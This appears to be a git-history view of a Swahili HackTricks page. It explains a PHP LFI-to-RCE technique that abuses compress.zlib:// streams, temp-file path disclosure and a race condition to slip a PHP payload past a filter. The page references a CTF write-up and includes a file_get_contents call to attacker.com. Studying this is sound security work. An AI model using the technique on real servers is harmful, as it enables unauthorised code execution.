hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

88 lines
5.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** kuchunguza ikiwa kampuni au wateja wake wame **vamiwa** na **malware za wizi**.
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za wizi wa habari.
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
{% embed url="https://whiteintel.io" %}
---
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
## `compress.zlib://` na `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
Faili iliyofunguliwa kwa kutumia itifaki ya `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data inayofika kwenye uhusiano baadaye kwenye faili hiyo hiyo.
2022-04-21 00:07:27 +00:00
2024-02-11 02:13:58 +00:00
Hii inamaanisha kwamba wito kama huu:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Utatuma ombi ukiomba http://attacker.com/file, kisha server inaweza kujibu ombi hilo na jibu sahihi la HTTP, kuendelea kuweka uhusiano wazi, na kutuma data ziada baadaye ambayo itaandikwa pia kwenye faili.
2022-04-21 00:07:27 +00:00
2024-02-11 02:13:58 +00:00
Unaweza kuona habari hiyo katika sehemu hii ya msimbo wa php-src katika main/streams/cast.c:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2024-02-11 02:13:58 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
## Mashindano ya Kukimbia hadi RCE
[**CTF hii**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) ilishinduliwa kwa kutumia hila iliyotangulia.
Mshambuliaji atafanya **seva ya mwathiriwa ifungue uhusiano ikisoma faili kutoka kwa seva za mshambuliaji** kwa kutumia itifaki ya **`compress.zlib`**.
**Wakati** huu **uhusiano** ukiwepo mshambuliaji atafanya **kuvuja njia** ya faili ya muda iliyoundwa (inavuja na seva).
**Wakati** huo **uhusiano** bado ukiwa wazi, mshambuliaji atatumia LFI kwa **kupakia faili ya muda** ambayo anadhibiti.
Hata hivyo, kuna ukaguzi kwenye seva ya wavuti ambao **unazuia kupakia faili zinazohusu `<?`**. Kwa hivyo, mshambuliaji atatumia **Mashindano ya Kukimbia**. Katika uhusiano ambao bado uko wazi **mshambuliaji** atatuma mzigo wa PHP **BAADA YA** **wavuti** kuchunguza ikiwa faili ina herufi zilizopigwa marufuku lakini **KABLA haijapakia maudhui yake**.
2022-04-21 00:07:27 +00:00
Kwa habari zaidi angalia maelezo ya Mashindano ya Kukimbia na CTF katika [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
2022-04-21 00:07:27 +00:00
### [WhiteIntel](https://whiteintel.io)
2022-04-21 00:07:27 +00:00
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
2022-04-21 00:07:27 +00:00
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumiwa na **dark-web** inayotoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
2022-04-21 00:07:27 +00:00
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za kuiba habari.
2022-04-21 00:07:27 +00:00
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
2022-04-28 16:01:33 +00:00
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>